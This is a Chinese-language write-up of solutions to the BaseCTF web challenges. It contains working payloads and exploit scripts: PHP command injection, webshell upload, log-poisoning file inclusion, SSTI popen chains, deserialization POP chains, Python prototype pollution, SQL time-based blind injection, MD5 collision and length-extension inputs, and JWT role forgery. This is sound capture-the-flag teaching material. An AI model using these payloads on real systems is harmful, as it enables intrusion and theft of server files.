喵喵喵´•ﻌ•` 题目描述:
1 小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习.....
开启环境
payload:
1 ?DT=system('cat /flag');
最后flag为
1 BaseCTF{5708fc60-0031-4873-a16f-35399e3ea081}
md5绕过欸 题目描述:
开启环境
payload1:数组绕过
1 2 ?name[]=1&name2[]=1 post:password[]=2&password2[]=2
payload2:强比较
参数
1 2 3 4 5 6 QNKCDZO 240610708 s878926199a s155964671a s214587387a 0e215962017
1 2 ?name=0e215962017&name2[]=1 post:password=s155964671a&password2[]=2
最后flag为
1 BaseCTF{03028513-cf0b-4cc2-885b-931d40ca5ca4}
HTTP 是什么呀 题目描述:
1 2 3 4 5 6 成为嘿客的第一步!当然是 HTTP 啦! 可以多使用搜索引擎搜索每个参数的含义以及传参方式 看看你是怎么到达最后一个页面的,中途是不是经过了什么? 这一串乱码是什么呀。等下,比赛好像叫做 BaseCTF?
方法一:hackbar一把梭
查看网络性能找到base编码
base解密得到flag
方法二: bp抓包
一样base解密得到flag
最后flag为
1 BaseCTF{6a7db524-1f6d-4f80-8b3e-2ccbb64854c4}
A Dark Room 题目描述:
查看源码得到flag
最后flag为
1 BaseCTF{59cb1de1-8c08-40f3-9226-a2c38264ccbb}
upload 题目描述:
1 快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?
上传一句话木马
蚁剑连接
最后flag为
1 BaseCTF{922be5cb-d39d-40cd-9c04-e6772af91eda}
Aura 酱的礼物 题目描述:
1 2 3 4 5 6 7 8 9 你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧! Aura 的博客似乎没有留言区?但是真的要去 Aura 的博客里面找吗?可以换个地方找吗? 哪里有感谢的一句话呢?远在天边,似乎就在眼前,就决定是他了吧! 为什么 Flag 是空的?不对劲,base64 一下再看看? 推荐搜索关键词: 伪协议,SSRF
开启环境
data伪协议先绕过
传参博客链接到本地环境
1 challenge=http://jasmineaura.github.io@gz.imxbt.cn
php://filter 读文件源码
1 gift=php://filter/read=convert.base64-encode/resource=flag.php
base解密
最后flag为
1 BaseCTF{5d4810cb-9071-447f-a2f0-5c5b943f6205}
ez_ser 题目描述:
开启环境
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php class re{ public $chu0; } class web { public $kw; public $dt; } class pwn { public $dusk = 'gods'; public $over; } class Misc { public $nothing; public $flag; } class Crypto { } $r = new re(); $w = new web(); $p = new pwn(); $m = new Misc(); $c = new Crypto(); $p->over = $m; $r->chu0 = $p; $w->kw = $r; echo serialize($w); #O:3:"web":2:{s:2:"kw";O:2:"re":1:{s:4:"chu0";O:3:"pwn":2:{s:4:"dusk";s:4:"gods";s:4:"over";O:4:"Misc":2:{s:7:"nothing";N;s:4:"flag";N;}}}s:2:"dt";N;}
最后flag为
1 BaseCTF{0544a803-9f2a-4ac4-8109-e105021b08b7}
一起吃豆豆 题目描述:
在index.js里找到base编码
base解密
最后flag为
1 BaseCTF{J5_gam3_1s_easy_t0_h4ck!!}
你听不到我的声音 题目描述:
1 我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?
开启环境
shell_exec 无回显的命令执行函数
payload:
1 cmd=cat /flag > output.txt
访问output.txt得到flag
最后flag为
1 BaseCTF{9324bd03-9389-4a37-812b-c35a9ff7e9a0}
RCEisamazingwithspace 题目描述:
1 RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace
开启环境
空格绕过
最后flag为
1 BaseCTF{ebe65d74-420b-445b-a103-553ea9c18f73}
所以你说你懂 MD5? 题目描述:
1 2 3 所以你说你懂 MD5? 可以了解一下 MD5 长度拓展攻击
开启环境
第一关数组绕过
第二关md5弱比较
1 appple=s1885207154a&bananana=s1836677006a
第三关md5强碰撞
1 apppple=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%24%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%82%7D%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%84%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEcC%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%BC%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%99%B59%F9%FF%C2&banananana=psycho%0A%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00W%ADZ%AF%3C%8A%13V%B5%96%18m%A5%EA2%81_%FB%D9%A4%22%2F%8F%D4D%A27vX%B8%08%D7m%2C%E0%D4LR%D7%FBo%10t%19%02%02%7E%7B%2B%9Bt%05%FFl%AE%8DE%F4%1F%04%3C%AE%01%0F%9B%12%D4%81%A5J%F9H%0FyE%2A%DC%2B%B1%B4%0F%DEc%C3%40%DA29%8B%C3%00%7F%8B_h%C6%D3%8Bd8%AF%85%7C%14w%06%C2%3AC%3C%0C%1B%FD%BB%98%CE%16%CE%B7%B6%3A%F3%9959%F9%FF%C2
第四关哈希长度拓展攻击
1 2 3 4 5 6 random_bytes(16) 生成 16 字节的随机二进制数据。 bin2hex() 将这些二进制数据转换为等效的十六进制字符串,每个字节转换为两个字符。 因此: bin2hex(random_bytes(16)) 会生成 32 个字符的十六进制字符串(16 字节 × 2)。 代码中一共调用了三次 bin2hex(random_bytes(16)) 总长度为:32 字符 × 3 = 96 字符。
payload:
1 name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=e27fa1cb1ad4314158e18f2d08a0707f
最后flag为
1 BaseCTF{6f70792b-edab-4a35-853a-b530d50ef1cd}
Really EZ POP 题目描述:
1 2 3 4 5 你已经学会反序列化了,接下来尝试手动构造 POP 链吧! 请注意 PHP 版本为 5.6.40, 反序列化不会忽略成员变量可访问性 !!不要使用!! FireFox 的 Hackbar 发送 Payload, 可能你输入是正确的, 但是没有回显
开启环境
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 <?php // highlight_file(__FILE__); class Sink { private $cmd = 'system("cat /flag");'; public function __toString() { eval($this->cmd); } } class Shark { private $word = 'Hello, World!'; public function setWord($word) { $this->word = $word; } public function __invoke() { echo 'Shark says:' . $this->word; } } class Sea { public $animal; public function __get($name) { $sea_ani = $this->animal; echo 'In a deep deep sea, there is a ' . $sea_ani(); } } class Nature { public $sea; public function __destruct() { echo $this->sea->see; } } $nature = new Nature(); $sea = new Sea(); $sink = new Sink(); $shark = new Shark(); $sea->animal = $shark; $nature->sea = $sea; $shark->setWord($sink); echo urlencode(serialize($nature)); // O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A20%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D%7D%7D%7D ?>
传参
最后flag为
1 BaseCTF{0e32b71b-ced7-40d4-a2bf-a5d3934e398b}
数学大师 题目描述:
1 2 3 4 5 Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗? 每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整 本题依赖 session,请在请求时开启 session cookie
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import requests import re import time # 创建会话 req = requests.Session() url = "http://gz.imxbt.cn:20088/" # 初始GET请求获取第一题 response = req.get(url) html = response.text print("初始页面:", html) # 尝试50次解题 for i in range(50): print(f"\n=== 正在解答第 {i+1} 题 ===") # 提取数学表达式 expression_match = re.search(r'(\d+)\s*([+\-×÷])\s*(\d+)\s*[\?=]', html) if not expression_match: print("未找到数学表达式,页面内容:") print(html) break num1 = int(expression_match.group(1)) operator = expression_match.group(2) num2 = int(expression_match.group(3)) print(f"提取到表达式: {num1} {operator} {num2}") # 计算结果(除法使用整数除法) if operator == "+": answer = num1 + num2 elif operator == "-": answer = num1 - num2 elif operator == "×": answer = num1 * num2 elif operator == "÷": answer = num1 // num2 # 整数除法 else: print(f"未知运算符: {operator}") break print(f"计算结果: {answer}") # 提交答案 start_time = time.time() response = req.post(url, data={"answer": answer}) html = response.text response_time = time.time() - start_time print(f"响应时间: {response_time:.2f}秒") # 检查是否完成 if "BaseCTF" in html: print("\n=== 找到Flag! ===") print(html) break # 确保不超过5秒限制 if response_time > 4.5: print("警告:接近时间限制!") time.sleep(0.1) # 稍微暂停以防超时 print("程序结束")
运行得到
最后flag为
1 BaseCTF{4e5a0622-8df3-41ab-b294-ecc8698fb1c8}
复读机 题目描述:
ssti
1 BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('a=`pwd`;a=`substr $a 1 1`;cd $a;cat flag')['rea''d']())%}
最后flag为
1 BaseCTF{d89c0d35-cc03-4b32-9d60-d90f356074a7}
滤个不停 题目描述:
开启环境
文件包含
payload:
1 2 3 User-Agent:<?php eval($_GET[1]);?> POST:Datch=/var/log/nginx/access.log&incompetent=HelloWorld GET:?1=system('tac /flag');
最后flag为
1 BaseCTF{0ed7f7c0-eb1c-47e3-a326-2bf57d718c7f}
玩原神玩的 题目描述:
1 flag怎么被分解成$array了,不管了,原神,启动!
开启环境
爆破array数组长度
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 import requests url = "http://gz.imxbt.cn:20119/" max_len = 100 for len_size in range(1, max_len + 1): data = {} for i in range(len_size): data[f'len[{i}]'] = 'fffffilm' print(data) response = requests.post(url, data=data) print(f"尝试长度: {len_size}, 服务器响应: {response.text}")
运行得到
得到长度45
生成POST数组
1 2 3 4 5 6 7 8 9 10 11 12 <?php $len_size = 45; $query_string = ''; for ($i = 1; $i <= $len_size; $i++) { $query_string .= "len[$i]=1"; if ($i < $len_size) { $query_string .= '&'; } } echo $query_string; ?> #len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&len[45]=1
传参
exp:
1 2 3 4 5 6 7 8 9 10 11 import requests url = ("http://gz.imxbt.cn:20119/?tip=我要玩原神") headers={ "Content-Type": "application/x-www-form-urlencoded" } data='len[1]=1&len[2]=1&len[3]=1&len[4]=1&len[5]=1&len[6]=1&len[7]=1&len[8]=1&len[9]=1&len[10]=1&len[11]=1&len[12]=1&len[13]=1&len[14]=1&len[15]=1&len[16]=1&len[17]=1&len[18]=1&len[19]=1&len[20]=1&len[21]=1&len[22]=1&len[23]=1&len[24]=1&len[25]=1&len[26]=1&len[27]=1&len[28]=1&len[29]=1&len[30]=1&len[31]=1&len[32]=1&len[33]=1&len[34]=1&len[35]=1&len[36]=1&len[37]=1&len[38]=1&len[39]=1&len[40]=1&len[41]=1&len[42]=1&len[43]=1&len[44]=1&len[45]=1&len[3]=2&m[0]=100%&m[1]=love100%2530bd7ce7de206924302499f197c7a966' response = requests.post(url, data=data,headers=headers) print(response.text)
import hashlib def reverse_md5_hashes(flags): array=[] for ii,flag in enumerate(flags): for i in range(256): if hashlib.md5(str(i).encode()).hexdigest()==flag: array.append(chr(i^ii)) break return ‘’.join(array) flags=[“3295c76acbf4caaed33c36b1b5fc2cb1”,”26657d5ff9020d2abefe558796b99584”,”73278a4a86960eeb576a8fd4c9ec6997”,”ec8956637a99787bd197eacd77acce5e”,”e2c420d928d4bf8ce0ff2ec19b371514”,”43ec517d68b6edd3015b3edc9a11367b”,”ea5d2f1c4608232e07d3aa3d998e5135”,”c8ffe9a587b126f152ed3d89a146b445”,”5f93f983524def3dca464469d2cf9f3e”,”9f61408e3afb633e50cdf1b20de6f466”,”66f041e16a60928b05a7e228a89c3799”,”03afdbd66e7929b125f8597834fa83a4”,”698d51a19d8a121ce581499d7b701668”,”7f39f8317fbdb1988ef4c628eba02591”,”44f683a84163b3523afe57c2e008bc8c”,”9f61408e3afb633e50cdf1b20de6f466”,”7f39f8317fbdb1988ef4c628eba02591”,”7f6ffaa6bb0b408017b62254211691b5”,”a5bfc9e07964f8dddeb95fc584cd965d”,”73278a4a86960eeb576a8fd4c9ec6997”,”e369853df766fa44e1ed0ff613f563bd”,”9f61408e3afb633e50cdf1b20de6f466”,”e369853df766fa44e1ed0ff613f563bd”,”19ca14e7ea6328a42e0eb13d585e4c22”,”3416a75f4cea9109507cacd8e2f2aefc”,”202cb962ac59075b964b07152d234b70”,”b53b3a3d6ab90ce0268229151c9bde11”,”4c56ff4ce4aaf9573aa5dff913df997a”,”67c6a1e7ce56d3d6fa748ab6d9af3fd7”,”d645920e395fedad7bbbed0eca3fe2e0”,”202cb962ac59075b964b07152d234b70”,”c0c7c76d30bd3dcaefc96f40275bdc0a”,”37693cfc748049e45d87b8c7d8b9aacd”,”3295c76acbf4caaed33c36b1b5fc2cb1”,”735b90b4568125ed6c3f678819b6e058”,”4e732ced3463d06de0ca9a15b6153677”,”6ea9ab1baa0efb9e19094440c317e21b”,”c74d97b01eae257e44aa9d5bade97baf”,”3295c76acbf4caaed33c36b1b5fc2cb1”,”70efdf2ec9b086079795c442636b55fb”,”fbd7939d674997cdb4692d34de8633c4”,”8e296a067a37563370ded05f5a3bf3ec”,”02e74f10e0327ad868d138f2b4fdd6f0”,”ad61ab143223efbc24c7d2583be69251”,”43ec517d68b6edd3015b3edc9a11367b”] original_array=reverse_md5_hashes(flags) print(original_array)
最后flag为
1 BaseCTF{4d508175-3f9e-412e-b285-03f853182861}
ez_php_jail 题目描述:
开启环境
payload:
1 ?Jail[by.Happy=highlight_file(glob("/f*")[0]);
最后flag为
1 BaseCTF{b64f1a41-e3ee-4091-8536-3470b3fb60ad}
圣钥之战1.0 题目描述:
访问read路由拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) from flask import Flask,request import json app = Flask(__name__) def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) def is_json(data): try: json.loads(data) return True except ValueError: return False class cls(): def __init__(self): pass instance = cls() @app.route('/', methods=['GET', 'POST']) def hello_world(): return open('/static/index.html', encoding="utf-8").read() @app.route('/read', methods=['GET', 'POST']) def Read(): file = open(__file__, encoding="utf-8").read() return f"J1ngHong说:你想read flag吗? 那么圣钥之光必将阻止你! 但是小小的源码没事,因为你也读不到flag(乐) {file} " @app.route('/pollute', methods=['GET', 'POST']) def Pollution(): if request.is_json: merge(json.loads(request.data),instance) else: return "J1ngHong说:钥匙圣洁无暇,无人可以污染!" return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?" if __name__ == '__main__': app.run(host='0.0.0.0',port=80)
python原型链污染
1 {"__init__" : {"__globals__" : {"__file__":"/flag"}}}
然后再去访问/read就有flag了
最后flag为
1 BaseCTF{7ce54c4d-c4f1-4ea9-8b86-eb0528b43a4c}
flag直接读取不就行了? 题目描述:
开启环境
payload:
1 2 GET:?K=DirectoryIterator&W=/secret POST:J=SplFileObject&H=/secret/f11444g.php
base解密
最后flag为
1 BaseCTF{e74eee84-c0c6-47be-acd0-9b4fda3edef7}
only one sql 题目描述:
1 2 3 4 只可以一句哦 使用BaseCTF{}格式 既然没有select无法直接查看flag,有没有其他方式来推断flag呢,比如布尔,比如时间?
sql时间盲注
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests import string sqlstr = string.ascii_lowercase + string.digits + '-' + "{}" url = "http://gz.imxbt.cn:20124/?sql=delete%20from%20flag%20where%20data%20like%20%27" end="%25%27%20and%20sleep(5)" flag='' for i in range(1, 100): for c in sqlstr: payload = url +flag+ c + end try: r = requests.get(payload,timeout=4) except: print(flag+c) flag+=c break
运行得到
最后flag为
1 BaseCTF{f8108a61-bbfe-4068-b47f-4449e7b5ed22}
No JWT 题目描述:
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from flask import Flask, request, jsonify import jwt import datetime import os import random import string app = Flask(__name__) # 随机生成 secret_key app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16)) # 登录接口 @app.route('/login', methods=['POST']) def login(): data = request.json username = data.get('username') password = data.get('password') # 其他用户都给予 user 权限 token = jwt.encode({ 'sub': username, 'role': 'user', # 普通用户角色 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1) }, app.secret_key, algorithm='HS256') return jsonify({'token': token}), 200 # flag 接口 @app.route('/flag', methods=['GET']) def flag(): token = request.headers.get('Authorization') if token: try: decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False}) # 检查用户角色是否为 admin if decoded.get('role') == 'admin': with open('/flag', 'r') as f: flag_content = f.read() return jsonify({'flag': flag_content}), 200 else: return jsonify({'message': 'Access denied: admin only'}), 403 except FileNotFoundError: return jsonify({'message': 'Flag file not found'}), 404 except jwt.ExpiredSignatureError: return jsonify({'message': 'Token has expired'}), 401 except jwt.InvalidTokenError: return jsonify({'message': 'Invalid token'}), 401 return jsonify({'message': 'Token is missing'}), 401 if __name__ == '__main__': app.run(debug=True)
环境有问题复现不了,说一下思路
先在/login路由下登录拿token,然后去将token解码(在线网站:jwt在线解密/加密 - JSON中文网 ),将role对应的值改为admin后再加密,接下来进行bp抓包,加一个Authorization头以及修改后的token
Jinja Mark 题目描述:
1 ssti注入只会用带花括号的payload?逊诶
/magic路由下可以进行原型链污染
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests import json # 目标URL url = "http://gz.imxbt.cn:20127/magic" # 构造包含特殊键的 JSON 数据 payload = { "__class__":{ "__init__":{ "__globals__":{ "BLACKLIST_IN_index" : [] } } } } # 将 JSON 数据转换为字符串 payload_json = json.dumps(payload) print(payload_json) # 发送 POST 请求 response = requests.post(url, data=payload_json, headers={'Content-Type': 'application/json'}) # 打印响应内容 print("Status Code:", response.status_code) print("Response Content:", response.text)
运行得到
在index路由进行模版注入了
1 {{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}
最后flag为
1 BaseCTF{22611811-e205-4f85-b2a4-28a1a2d287ab}
1z_php 题目描述:
1 php没有难题(Kengwang和晨曦出的除外)
开启环境
exp:
1 2 3 import requests res = requests.post("http://gz.imxbt.cn:20128/index.php?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString",data = {"try":"-"*1000001+"HACKER"}) print(res.text)
base解密
最后flag为
1 BaseCTF{88b634bb-2b1a-4800-8325-a3c3893d9ad5}
Lucky Number 题目描述:
原型污染链
payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "__init__": { "__globals__": { "json":{ "__spec__":{ "__init__" : { "__globals__" : { "sys" : { "modules" : { "heaven" : { "create" : { "__kwdefaults__" : { "confirm" : true, "lucky_number" : "5346" } } } } } } } } } } } }
/ssSstTti1 进行无过滤的ssti注入
最后flag为
1 BaseCTF{221554ca-cc3b-4e08-a620-68a89f96bb46}
Back to the future gakki429/Git_Extract一把梭